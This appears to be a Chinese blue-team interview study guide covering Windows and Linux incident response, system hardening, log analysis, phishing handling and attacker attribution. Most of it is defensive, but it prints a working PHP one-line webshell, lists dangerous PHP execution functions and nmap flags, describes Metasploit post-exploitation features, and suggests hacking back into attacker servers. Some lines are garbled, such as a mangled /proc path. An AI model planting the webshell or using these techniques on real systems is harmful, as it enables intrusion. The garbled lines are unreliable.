  • 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产

  • 产出报告:整理并输出完整的安全事件报告

windows应急响应时排查分析的相关细节?

答:

可疑账号排查 lusrmgr.msc

1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。

2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。

3.查看服务器是否有可疑账号。

手工方面:lusrmgr.msc命令查看用户和组,查看是否有新增账号,隐藏账号,克隆账号。 工具方面:比如利用D盾等工具来检测隐藏账号。 4.结合日志分析 eventvwr.msc 查看管理员登录时间,相关事件是否有异常。

敏感事件ID:

4624 登录成功 4625 登录失败 4672 使用超级管理员进行登录 4720 创建用户 5.使用query user查看当前系统的会话,比如查看是否有人使用远程登录服务器。

可疑进程和服务排查 taskmgr services.msc

1.查看CPU,内存,网络等资源是否有可疑状况。比如CPU占用率过高可能是中了挖矿病毒,磁盘空间大量占用可能是脚本或病毒大量生成和复制隐藏文件。

2.检查进程名

某些进程名是大量随机的情况,比如hrlC3.tmp、hrlD5.tmp、hrl6.tmp、hrlEE.tmp等多个名字相似的进程,基本上可以断定是异常进程。 异常进程名伪装成系统进程或者说常见服务的进程名,此时可以通过进程描述来判断,并且需要手工对比。 3.检查进程和服务描述,修改时间或者数字签名是否有异常。

4.利用工具进行检测,比如Process Hunter或者火绒剑等专门针对进程服务信息的排查分析工具,主要查看的是公司名,描述,安全状态和启动类型等方面来排查。

可疑启动项排查 msconfig

  1. msconfig或者任务管理器中的启动项查看名称,发布者和启动影响,以及右键查看属性来看数字签名和修改时间。

  2. 结合工具进行排查,比如火绒剑等工具,会将启动项分类为登录,驱动程序,计划任务,映像劫持等,利用分析排查

可疑文件排查

1.各个磁盘的Temp/tmp目录中是Windows产生的临时文件,查看有无异常文件。

2.Recent目录会记录最近打开的文档以及程序的相关记录。

3.查看文件的创建时间,修改时间和访问时间,比如说攻击者利用菜刀等工具对文件进行修改会改变修改时间,如果修改时间在创建时间之前,那就是很明显的可疑文件。

4.windows系统我的电脑快速访问,可以看到最近使用的文件,比如说图片或者压缩包等文件的使用历史和文件路径都会显示。

恶意样本排查

1.恶意样本指的一般是webshell,病毒,木马或者后门程序或文件,可以根据设备的告警信息来查找相关路径,再排查相关的进程和启动项。

2.不知道路径的话可以利用相关的安全设备来进行检测,比如说通过D盾,河马查杀等工具对webshell可能存在的目录进行一个排查查杀,利用常规的防火墙软件来对全盘或者可疑目录扫描病毒。

常见的应急响应事件分类:

  • web入侵:网页挂马、主页篡改、Webshell

  • 系统入侵:病毒木马、勒索软件、远控后门

  • 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

Windows应急响应常用命令?

  • 查看账户:net user

  • 查看隐藏账户:lusrmgr.msc

  • 在Domains\Account\Users\Names下可以看到隐藏用户

  • 登录时间查看:eventvwr.msc

  • 查看Windows日志:链接: link

  • 查看端口情况:netstat -ano

  • 查看进程情况:tasklist|findstr “进程号”

  • 杀死进程:taskkill /f /t /im httpd.exe

  • 查看软件环境:msinfo32

  • 查看启动项:【开始】——【所有程序】——【启动】、msconfig、 在这里插入图片描述

  • 查看计划任务:在这里插入图片描述

  • 查看服务:services.msc

  • 组策略:gpedit.msc

  • 查找最近打开文件:%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\

  • 搜索恶意内容文件:findstr /m/i/s “eval” *.php、或者用everything、filelocator.

  • 查找最新修改文件:使用everything 。everything—修改时间

  • 查看系统版本以及补丁信息:在这里插入图片描述

无法连接3389的情况?

a.3389端口处于关闭状态

b.远程桌面默认端口号已被修改

c.防火墙拦截

d.处于内网环境

e.超过了服务器最大连接数

f.管理员设置了权限,指定用户才能通过3389端口进行远程桌面访问

windowst入侵排查思路

1.检查系统账号安全

查看服务器是否有弱口令,远程管理端口是否对公网开放(使用netstat -ano命令、或者问服		务器管理员)

lusrmgr.msc命令查看服务器是否存在可疑账号、新增账号,如有管理员群组的	(Administrators)里的新增账户,如有,请立即禁用或删除掉

用 D 盾或者注册表中查看服务器是否存在隐藏账号、克隆账号

结合日志,查看管理员登录时间、用户名是否存在异常

检查方法:Win+R 打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”,			导出 Windows 日志–安全,利用 Log Parser 进行分析

2.检查异常端口、进程

netstat -ano检查端口连接情况,是否有远程连接、可疑连接
任务管理器-进程

3.检查启动项、计划任务、服务

4.检查系统相关信息

查看系统版本以及补丁信息
查找可疑目录及文件

5.日志分析

如何查看系统内存shell?

先判断是通过什么方法注入的内存马,可以先查看 web 日志是否有可疑的 web 访问日志,如果是 filter 或者 listener 类型就会有大量 url 请求路径相同参数不同的,或者页面不存在但是返回 200 的,查看是否有类似哥斯拉、冰蝎相同的 url 请求,哥斯拉和冰蝎的内存马注入流量特征与普通 webshell 的流量特征基本吻合。通过查找返回 200 的 url 路径对比 web目录下是否真实存在文件,如不存在大概率为内存马。如在 web 日志中并未发现异常,可以排查是否为中间件漏洞导致代码执行注入内存马,排查中间件的 error.log 日志查看是否有可疑的报错,根据注入时间和方法根据业务使用的组件排查是否可能存在 java 代码执行漏洞以及是否存在过 webshell,排查框架漏洞,反序列化漏洞。

linux登录日志查看文件?

linux 日志文件说明 日志默认存放位置:/var/log/ 查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’ 查看所有用户最后的登录信息 lastlog 查看用户最近登录信息 last 其中,/var/log/wtmp 存储登录成功的信息、btmp 存储登录失败的信息、utmp 存储当前正在登录的信息 查看当前用户登录系统情况 who

/var/log/message 系统启动后的信息和错误日志,是 Red Hat Linux 中最常用的日志之一

/var/log/secure 与安全相关的日志信息

/var/log/maillog 与邮件相关的日志信息

/var/log/cron 与定时任务相关的日志信息

/var/log/spooler 与 UUCP 和 news 设备相关的日志信息

/var/log/boot.log 守护进程启动和停止相关的日志消息

/var/log/wtmp 该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件

普通的加固手段?

普通的加固手段包括以下几种:

  • 更新补丁:定期更新操作系统、应用程序的补丁,修复已知的漏洞和安全问题。

  • 强化口令策略:采用复杂、难以猜测的密码,并进行定期更换。同时可以启用账户锁定、多次失败尝试限制等功能,提高口令安全性。

  • 加强身份验证:采用多因素身份验证技术,例如使用硬件令牌、生物特征等方式,确保只有授权用户才能访问系统。

  • 安装防病毒软件:安装并及时更新防病毒软件,定期进行全盘扫描和实时监控,以便及时发现和处置潜在的恶意软件。

  • 关闭不必要服务:关闭系统中不必要的服务和端口,降低攻击面,避免被利用。

  • 限制访问权限:根据业务需要,设置合理的访问权限,对于未授权的用户或者设备进行限制,提高系统的安全性。

  • 数据备份与恢复:定期备份重要数据,并将其存储在安全可靠的位置。在出现故障或事件时,能够快速恢复数据,避免数据丢失和系统停机。

总之,以上这些普通的加固手段可以帮助提高系统的安全性和稳定性,并且也是网络安全基础建设的关键步骤。在实际操作中,需要根据具体情况和需求,结合其他安全措施来进行综合加固。同时需要注意及时更新和检查,以确保系统始终处于安全状态。

了解过系统加固吗?

  • 账户安全

    windows

    比如设置登录时不显示上次登录的用户名,防止弱口令爆破。

    设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。

    linux

    禁用root之外的超级用户 使用password -l <用户名>命令来锁定用户 -u解锁

    限制普通用户使用sudo提权,或者说限制提权的权限大小

    锁定系统中多余的自建账号

    设置账户锁定登录失败锁定次数,锁定时间 faillog -u <用户名>命令来解锁用户

  • 口令安全

    windows

    设置密码必须符合复杂性要求,比如设置时数字,大写字母,小写字母,特殊字符都要具备

    设置最小密码长度不能为0,设置不能使用历史密码

    linux

    检查shadow中空口令账号,修改口令复杂度,设置密码有效期vim /etc/login.def命令

  • 服务与端口收敛

    关闭或者限制常见的高危端口,比如说22端口(SSH),23端口(Telnet),3389端口(RDP)

    compmgmt.msc排查计划任务

    linux上iptables封禁IP或者限制端口

  • 文件权限管理

    linux上chmod修改文件权限 chattr重要文件设置不可修改权限

  • 系统日志审计

    linux上设置系统日志策略配置文件

    系统日志 /var/log/message

    cron日志/var/log/cron

    安全日志/var/log/secure

  • 设备和网络控制

    比如在涉密计算机上禁止访问外网,为了避免用户绕过策略可以禁止用户修改IP

    删除默认路由配置,避免利用默认路由探测网络

    禁止使用USB设备比如U盘

    禁止ping命令,即禁用ICMP协议访问,不让外部ping通服务器

日志及木马被删除如何排查?

被攻击后,日志文件和木马文件被删除会给排查工作带来很大的困难,但还是有一些方法可以尝试:

  • 查看系统备份:如果您的系统进行了定期备份,那么可以尝试从备份中恢复丢失的日志文件和木马文件。如果备份没有受到攻击,那么这种方式可能会非常有效。

  • 恢复已删除文件:一些数据恢复软件,例如Recuva、EaseUS Data Recovery等,可以恢复已删除的文件。您可以尝试使用这些软件来恢复被删除的文件。

  • 检查其他主机:如果您的系统被集成到网络中,可以检查其他主机是否有相同的攻击迹象和后门程序。对于攻击者来说,攻击多台主机通常需要更多的时间和资源,因此在其他主机上发现类似的攻击行为也许能够提供有用的信息。

  • 分析系统快照:如果您的系统支持系统快照功能,例如 Windows 系统还原点,可以尝试回滚系统至之前的快照状态,并分析该状态下的日志信息和系统状态,以寻找攻击行为的证据。

  • 日志审计:如果日志文件被删除,可以尝试通过其他渠道收集日志信息,并进行审计分析。例如,可以检查网络流量、系统性能、系统进程等信息,以确定是否存在异常行为。

总之,在日志文件和木马文件被删除的情况下,需要采用其他方法来寻找攻击迹象和证据。同时,为了避免这种情况的发生,我们应该在系统中设置必要的日志轮转和备份策略,并加强安全防御工作,避免被攻击者入侵。

安全设备告警?

安全设备报警是指安全设备(例如入侵检测系统、防火墙、安全加固等)监测到的与安全相关的事件或活动达到了预先设定的规则和阈值,触发了警报通知。以下是一些处理安全设备报警的方法:

  • 确认警告的真实性:首先需要确认收到的警报信息是否为真实的安全事件,需要对日志和其他相关信息进行分析和验证。如果发现确实存在安全问题,则需要立即采取适当措施。

  • 优先级分类:不同类型的安全事件具有不同的严重程度和威胁级别,需要根据事件的类型、来源等因素进行分类和优先级排序,并采取相应的措施进行处理。

  • 制定处理计划:根据事件情况和优先级,制定相应的处理计划和操作流程。这些计划可以包括隔离受感染主机、采取补救措施、收集证据等方面。

  • 跟踪事件进展:在处理安全事件时,需要跟踪事件的进展和结果,并及时更新相关记录和文档。同时要保持与相关人员的沟通和协调,以便及时解决问题。

  • 定期复查:定期审查和分析系统和设备的报警记录和日志,以及采取的应对措施和效果。这可以帮助发现系统中存在的风险和漏洞,并及时加以修复和优化。

总之,在处理安全设备报警时,需要快速响应、分类优先、制定计划等步骤,以保障系统的安全性,并且需要持续地监测和优化安全防御策略。

Linux的 入侵排查思路

  • 1:账号安全

    who 查看当前登录用户(tty本地登陆 pts远程登录) w 查看系统信息,想知道某一时刻用户的行为 uptime 查看登陆多久、多少用户,负载 1、用户信息文件/etc/passwd root❌0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell 注意:无密码只允许本机登陆,远程不允许登陆

    2、影子文件/etc/shadow

root:6 66oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留 /etc/passwd 存储一般的用户信息,任何人都可以访问;/etc/shadow 存储用户的密码信息,只有 root 用户可以访问

  • 2.历史命令

通过 .bash_history 查看帐号执行过的系统命令 1、root的历史命令 histroy 2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令 历史操作命令的清除:history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除.bash_profile文件中的记录

3.检查异常端口 netstat -antlp|more 查看下pid所对应的进程文件路径, 运行ls -l /proc/P I D / e x e 或 f i l e / p r o c / PID/exe或file /proc/PID/exefil**e/p**roc/PID/exe($PID 为对应的pid 号) 4.检查异常进程 ps aux | grep pid 5.检查开机自启动项 开机启动配置文件 /etc/rc.local /etc/rc.d/rc[0~6].d

6.检查定时任务 crontab -l 列出某个用户cron服务的详细内容 Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root crontab -r 删除每个用户cront任务(谨慎:删除所有的计划任务) crontab -e 使用编辑器编辑当前的crontab文件 如:*/1 * * * * echo “hello world” >> /tmp/test.txt 每分钟写入文件 2、利用anacron实现异步定时任务调度 重点关注 /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*

7.检查服务 chkconfig --list 命令,可以查看系统运行的服务 8.检查异常文件 9.检查系统日志

Linux应急措施

在这里插入图片描述

Linux被入侵症状

在这里插入图片描述

Linux常用排查命令

系统信息

查看当前系统状态 top
操作系统信息 uname -a
查看当前系统进程信息 ps
查看历史命令 history
列出本机所有的连接和监听的端口 netstat
查看谁在使用某个端口 lsof

用户登录

查看当前用户登录系统情况 who

分析超级权限账户 awk-F: ‘{if($3==0)print $1}’/etc/passwd

查看可登录的账户 cat/etc/passwd|grep ‘/bin/bash’

查看用户错误的登录信息 lastb

查看所有用户最后的登录信息 lastlog

查看用户最近登录信息 last

	/var/log/ 其中,/var/log/wtmp 存储登录成功的信息、btmp存储登录失败的信息、					utmp存储当前正在登录的信息

查看空口令账户 awk-F: ‘length($2)==0 {print $1}’/etc/shadow
123456789101112131415

Linux基线规范

1、共享账户检查 在这里插入图片描述

2、多余账户锁定策略

在这里插入图片描述

3、口令复杂度策略

在这里插入图片描述

4、口令最长生存期策略

在这里插入图片描述

5、安全日志完备性要求

在这里插入图片描述

6、统一远程日志服务器配置

在这里插入图片描述

7、设置 history 时间戳 在这里插入图片描述

7、防止入侵防范,关闭非必要的系统服务

在这里插入图片描述

8、禁止 Control-Alt-Delete 键盘关闭命令

在这里插入图片描述

溯源

溯源反制的思路?

1.攻击源捕获

安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等 日志与流量分析,异常的通讯流量、攻击源与攻击目标等 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

2.溯源反制

IP 定位技术 根据IP定位物理地址–代理 IP 溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息 ID 追踪术 ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配 溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息 网站 url 域名 Whois 查询–注册人姓名、地址、电话和邮箱 --域名隐私保护 溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析 恶意样本分析 提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析 溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者 社交账号 基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等 利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销

3.攻击者画像

攻击路径 攻击目的:拿到权限、窃取数据、获取利益、DDOS 等 网络代理:代理 IP、跳板机、C2 服务器等 攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等

攻击者身份画像 虚拟身份:ID、昵称、网名 真实身份:姓名、物理位置 联系方式:手机号、qq/微信、邮箱 组织情况:单位名称、职位信息

蓝队常用的反制方法有哪些?

a.蜜罐

b.对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)

c.应用漏洞挖掘&利用(菜刀、Goby、Xray、蚁剑)

d.id->社交特征关联

e.钓鱼网站->后台扫描、XSS盲打

f.木马文件->同源样本关联->敏感字符串特征检测

如何防御钓鱼邮件?

钓鱼邮件是一种常见的网络针对性攻击手段,通常通过电子邮件发送虚假信息诱骗受害者提供个人敏感信息或进行非法行为。以下是几种发现和防御钓鱼邮件的方法:

  1. 查看发件人地址:钓鱼邮件的发件人地址通常会伪装成合法、可信的机构或公司,但是如果您仔细查看发件人地址,就可能发现其不是该机构或公司真正的域名。

  2. 检查链接地址:钓鱼邮件中通常会包含可疑的链接,如果您将鼠标悬停在链接上,就可以看到链接的真实地址。如果该地址与邮件内容不符,就可能是钓鱼邮件。

  3. 注意邮件内容:钓鱼邮件通常会给人留下一种紧急、必须立即采取行动的感觉,从而诱骗用户点击链接或执行某些操作。因此,如果您收到这样的邮件,请仔细阅读邮件内容,并多加思考和确认。

  4. 尽量避免下载附件:钓鱼邮件通常会携带恶意附件,如果您无法确认邮件的真实性,最好不要下载或打开这些附件,以免被感染。

  5. 安装反钓鱼软件:有一些反钓鱼软件可以帮助用户检测和拦截钓鱼邮件,例如 Google 的Password Alert 等。

总之,发现钓鱼邮件需要多加警惕和注意,在收到可疑邮件时,应该仔细查看邮件内容和相关信息,并尽可能采取措施避免被钓鱼攻击。

钓鱼邮件处置

屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问

根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽

邮件内容涉及域名、IP 均都应该进行屏蔽

对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果

屏蔽钓鱼邮件

屏蔽钓鱼邮件来源邮箱域名

屏蔽钓鱼邮件来源 IP

有条件的可以根据邮件内容进行屏蔽

删除还在邮件服务器未被客户端收取钓鱼邮件

处理接收到钓鱼邮件的用户

根据钓鱼邮件发件人进行日志回溯

此处除了需要排查有多少人接收到钓鱼邮件之外,还需要排查是否公司通讯录泄露。采用 TOP500 姓氏撞库发送钓鱼邮件的攻击方式相对后续防护较为简单。如果发现是使用公司通讯录顺序则需要根据通讯录的离职情况及新加入员工排查通讯录泄露时间。毕竟有针对性的社工库攻击威力要比 TOP100、TOP500 大很多

通知已接收钓鱼邮件的用户进行处理

删除钓鱼邮件

系统改密

全盘扫毒

后续:溯源、员工培训提升安全意识

如何发现钓鱼邮件?

发现途径如下:

邮件系统异常登录告警、员工上报、异常行为告警、邮件蜜饵告警

推荐接入微步或奇安信的情报数据。对邮件内容出现的 URL 做扫描,可以发现大量的异常链接

其他

正向代理和反向代理的区别

正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端

反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端

正向shell和反向shell的区别

正向Shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

反向Shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

F5 LTM解码法

当服务器使用F5 LTM做负载均衡时,通过对set-cookie关键字的解码真实ip也可被获取,例如:Set-Cookie: BIGipServerpool_8.29_8030=487098378.24095.0000,先把第一小节的十进制数即487098378取出来,然后将其转为十六进制数1d08880a,接着从后至前,以此取四位数出来,也就是0a.88.08.1d,最后依次把他们转为十进制数10.136.8.29,也就是最后的ip。

代码执行、命令执行、文件读取的函数有哪些?

  • 代码执行eval、call_user_func、call_user_func_array等

  • 文件读取fopen()、readfile()、fread()、file()、show_source()等

  • 命令执行system()、exec()、shell_exec()、passthru()、pcntl_exec()等

你在渗透测试中常用到的工具?

在这里插入图片描述

如何处理.exe文件?

首先看它的来源和去向,然后可以下载但不运行,放入微步沙箱中,看是否有后门,若有后门,就用 IDA 反汇编得到恶意攻击者的有用信息,再进一步描绘出攻击者画像进行溯源 .exe 文件是 Windows 上的可执行文件,通常包含应用程序或者安装程序等内容。如果您在电子邮件或者网络上收到了 .exe 文件,需要格外小心,因为它们可能包含病毒、恶意软件或者其他危险物品。以下是几种处理方法:

  • 不要直接运行:不要轻易双击或者打开未知来源的 .exe 文件,因为它们可能会启动恶意软件,并对您的系统造成损害。如果您必须要运行这些.exe 文件,请先进行杀毒软件扫描和检测操作。

  • 使用虚拟机:如果您需要测试某个 .exe文件的行为和效果,可以考虑使用虚拟机。虚拟机可以将一个完整的操作系统运行在一个软件容器中,使得用户可以在其中安全地运行可疑的 .exe文件,并且不会影响主机系统的安全性。

  • 上传到在线扫描服务平台:一些在线杀毒软件平台,例如 VirusTotal 等,提供了在线扫描可疑文件的服务。如果您不确定一个 .exe文件是否安全,可以上传到这些平台进行扫描,以获取更多的信息和建议。

  • 将文件发送给安全专家:如果您无法确定.exe文件的安全性,可以将其发送给安全专家进行分析。安全专家可以根据其行为特征和结构等信息,对该文件进行深度分析,以确定是否存在潜在的安全威胁。 总之,在处理未知来源的 .exe 文件时,需要注意谨慎并采取必要的安全措施,以确保您的系统不会被攻击或感染。如果您遇到可疑的 .exe 文件,请务必进行杀毒软件扫描,并尽可能获取更多的信息和建议。

怎么确定一个网站是不是站库分离

  • (1)查询web服务器名

    LENOVO-GH*—select @@servername;

  • (2)查询数据库服务器名

    DESKTOP-1HV—select host_name();

对比两个查询结果,即可判断。相同则同站同库,不同就是站库分离

防火墙报警如何确定是不是误判

一般情况下,真实攻击不可能只持续一次,它一定是长时间、周期性、多 IP 的进行攻击

数据包或者日志,你的分析思路是什么,以及你会用到哪些工具或者那些网站进行查询?

用流量监测的安全设备,比如天眼,查看报文,分析报文里和 host 和网站目录路径,查看是否可疑,使用微步查询 host 是否为恶意,使用 wireshark 对数据包深度分析

看一下请求的网站路径,源 IP 与目的 IP 地址,host 字段的值以及发包内容等

工具有 wireshark,网站的话微步在线等威胁情报中心

文件上传和命令执行,有看过相关日志吗

文件:可能在系统有上传功能或者有文本编辑器,看一下是否有 base64 加密或者 url 加密,解码验证一下是否有恶意代码

系统日志:有没有 web 容器做了一些危险行为,比如 bash 反弹 shell 等

网络应用日志:有没有异常的网站文件,类似 webshell 等,就有可能是命令执行

windows日志分析工具

Event Log Explorer

给你一个比较大的日志,应该如何分析

  • 攻击规则匹配,通过正则匹配日志中的攻击请求

  • 统计方法,统计请求出现次数,次数少于同类请求平均次数则为异常请求

  • 白名单模式,为正常请求建立白名单,不在名单范围内则为异常请求

  • HMM 模型,类似于白名单,不同点在于可对正常请求自动化建立模型,从而通过正常模型找出不匹配者则为异常请求

  • 借助日志分析工具,如 LogForensics 腾讯实验室 链接

设备出现了误报如何处==置(日志)

先去查看设备的完整流量日志等信息。在护网过程中如果确实存在异常流量应当及时进行上报,确认是误报后做好事件记录

nmap扫描基础命令

sT TCP (全)连接扫描,准确但留下大量日志记录 -sS TCP SYN (半)扫描,速度较快,不会留下日志 -sN null 扫描,标志位全为 0,不适用 Windows -sF FIN 扫描,标志位 FIN=1,不适用 Windows -O 查看目标主机系统版本 -sV 探测服务版本 -A 全面扫描

命令行工具用的什么比较多

xshell、xftp、finalshell

微步

微步在线是一个威胁情报中心,可以通过 ip 或域名查询其是不是恶意的,对于判断恶意链接具有一定的参考性,他还有一个插件可以在页面选中就能进行查询,还是一个比较好用的工具

横向越权漏洞的修复

横向越权:横向越权指的是攻击者尝试访问与他拥有相同权限的用户的资源

纵向越权:纵向越权指的是一个低级别攻击者尝试访问高级别用户的资源

对于纵向越权,我们可以通过设置用户角色,为不同的角色提供不同的权限来避免

为了防止横向越权,我们可以使用缓存来进行辅助,当登录成功或者进行操作时,我们在缓存中存储一对由用户名和一个唯一的数字组成的数据(token),然后返回放入的唯一数据在重置密码时我们的参数不仅需要用户名和密码还需要前面生成的唯一数字,根据用户名在缓存中取出对应的数字,如果取出的数字和参数中传入的想等,则证明重置的当前用户的密码,否则不是,且不予以重置

如何反爬

  • 后台对访问进行统计,如果单个 IP 访问超过阈值,予以封锁

  • 后台对访问进行统计,如果单个 session 访问超过阈值,予以封锁

  • 后台对访问进行统计,如果单个 userAgent 访问超过阈值,予以封锁

网页状态码

403 (禁止) 服务器拒绝请求。 404 (未找到) 服务器找不到请求的网页。 301 (永久移动) 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。 302 (临时移动) 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。 500 (服务器内部错误) 服务器遇到错误,无法完成请求。 501 (尚未实施) 服务器不具备完成请求的功能。 例如,服务器无法识别请求方法时可能会返回此代码。 502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。 503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。 504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。 505 (HTTP 版本不受支持) 服务器不支持请求中所用的 HTTP 协议版本。

PHP一句话木马

<?php @eval($_POST['shy']);?>

常见OA系统

OA系统是一种非常实用的企业内部管理系统,它可以帮助公司实现各项管理工作,可以说是整个公司和团队的纽带有助于提高工作效率和管理水平

  • PHP:通达OA、泛微 Eoffice

  • Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA

  • ASP:启莱OA

Powershell

简介:PowerShell 是一种命令行外壳程序和脚本环境,主要用于Windows计算机方便管理员进行系统管理并有可能在未来取代Windows上的默认命令提示符。PowerShell脚本因其良好的功能特性常用于正常的系统管理和安全配置工作。

使用:

常见的操作 pwd   ls   cd   mkdir   rm

get-process获取所有进程信息

get-date获取当前时间信息

get-host获取当前主机信息

然后就是使用PowersSploit(基于Powershell的后渗透框架软件,包括了很多Power shell攻击脚本,主要用于渗透中的信息收集,权限提升,权限维持)的时候在Powshell上使用过一些下载和运行攻击脚本的命令。

MSF

简介:Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程。

模块:

Auxiliary(辅助模块) 为渗透测试信息搜集提供了大量的辅助模块支持 Exploits(攻击模块) 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。 Payload(攻击载荷模块) 攻击成功后促使靶机运行的一段植入代码 Post (后渗透攻击模块) 收集更多信息或进一步访问被利用的目标系统 Encoders(编码模块) 将攻击载荷进行编码,来绕过防护软件拦截

使用:

首先利用Auxiliary辅助探测模块扫描,嗅探,指纹识别相关漏洞,然后确认漏洞存在使用Exploit漏洞利用模块对漏洞进行利用,包括设置payload攻击载荷,设置本机监听等等。漏洞利用成功目标主机就会通过设置的端口主动连接,产生会话。进而可以进行后渗透。

功能:

木马免杀,抓取用户密码,关闭杀毒软件,屏幕截图,新建账号,远程登录,迁移进程,提权操作,网络嗅探,端口转发 ,内网代理,内网扫描,生成后门,清除日志等等。

什么是DDoS攻击?如何防御DDoS攻击?

答:DDoS攻击是一种通过向目标网络或服务器发送大量请求流量来使其网络资源饱和的攻击。防御DDoS攻击的方法包括使用负载均衡和防火墙等技术,以及使用CDN和DDoS防护服务等外部防护措施,还可以使用IPS和IDS等内部防护措施。

黑盒和白盒测试

答:黑盒测试是一种测试方法,测试人员没有访问源代码或内部系统的访问权限。白盒测试是另一种测试方法,测试人员可以访问源代码或内部系统的访问权限。

社交工程攻击?如何预防社交工程攻击?

答:社交工程攻击是一种通过利用人性弱点和社交工具的攻击,如通过网络欺诈和欺骗,获得敏感信息或获得未经授权的访问权限。预防社交工程攻击的方法包括关注网站和邮件上的可疑信息,限制对敏感信息的访问权限,并进行员工网络安全意识教育。

什么是虚拟专用网络(VPN)?如何保护VPN的安全?

答:虚拟专用网络(VPN)是一种加密隧道,通过互联网连接两个或多个设备,并使它们彼此之间相互通信。保护VPN的安全的方法包括使用强密码、定期更换密码、控制VPN文件的访问权限、定期更新VPN软件并启用双因素身份验证等。

什么是DNS欺骗攻击或DNS劫持?

答:DNS欺骗攻击或DNS劫持是指攻击者通过修改DNS查询的响应结果或在DNS服务器上进行欺骗攻击。这可能会导致用户被重定向到恶意网站或无法访问正常网站。预防DNS欺骗攻击的方法包括使用DNSSEC协议或使用可靠的DNS服务器,并保持软件和操作系统更新。

什么是IPS,WAF和CDN的关系?

答:IPS(入侵防护系统)和WAF(Web应用程序防火墙)是一种针对不同级别的网络攻击的安全措施,CDN(内容传输网络)则是一种加速网站网页加载速度的技术。它们都是网络安全策略的一部分,可以一起工作以提供更全面的网络安全保护。

逆向工程

答:逆向工程是指分析和破解技术,方法和代码等的过程,以掌握它们的原理和功能。逆向工程在安全领域常用于软件漏洞攻击和恶意代码分析等方面。

网络钓鱼

答:网络钓鱼是一种通过邮件或社交媒体等方式向个人或组织发送虚假信息的攻击,以骗取敏感信息或资金。识别和防范网络钓鱼攻击的方法包括使用强密码,不点击可疑链接,不公开个人或公司的敏感信息,并在工作场所提高员工网络安全意识。

什么是网络扫描?如何识别并防范网络扫描攻击?

答:网络扫描是一种通过扫描网络或服务器来收集网络信息和漏洞的攻击。识别和防范网络扫描攻击的方法包括使用防火墙和入侵检测系统来监控网络活动,使用网络安全测试服务来检测和评估网络漏洞,以及保持软件和操作系统更新。

什么是恶意软件?如何防范恶意软件攻击?

答:恶意软件是指通过计算机网络传播并对计算机系统造成破坏或利用个人信息的程序或代码。防范恶意软件攻击的方法包括使用杀毒软件、反病毒软件、防火墙、文件过滤器、电子邮件过滤器和反间谍软件等,同时保持软件和操作系统更新。

什么是物联网(IoT)网络安全?如何提高物联网网络安全?

答:物联网网络安全是指通过保护物联网设备和网络,防止网络攻击对IoT设备和网络造成的风险。提高物联网网络安全的方法包括:使用物联网设备和软件的安全性评估工具;保持IoT设备和网络上的软件更新和补丁;隔离物联网网络的弱点;加强对IOT设备和网络的保护和管控。

什么是企业网络安全政策?如何制订一个有效的网络安全政策?

答:企业网络安全政策是指明确和详细的指导原则和规则,目的是为了保护企业计算机系统和网络的机密性,完整性和可用性。制定一个有效的网络安全政策需要涵盖包括漏洞扫描、密码策略、访问控制、反病毒措施、加密、离职员工计划等规定和措施。

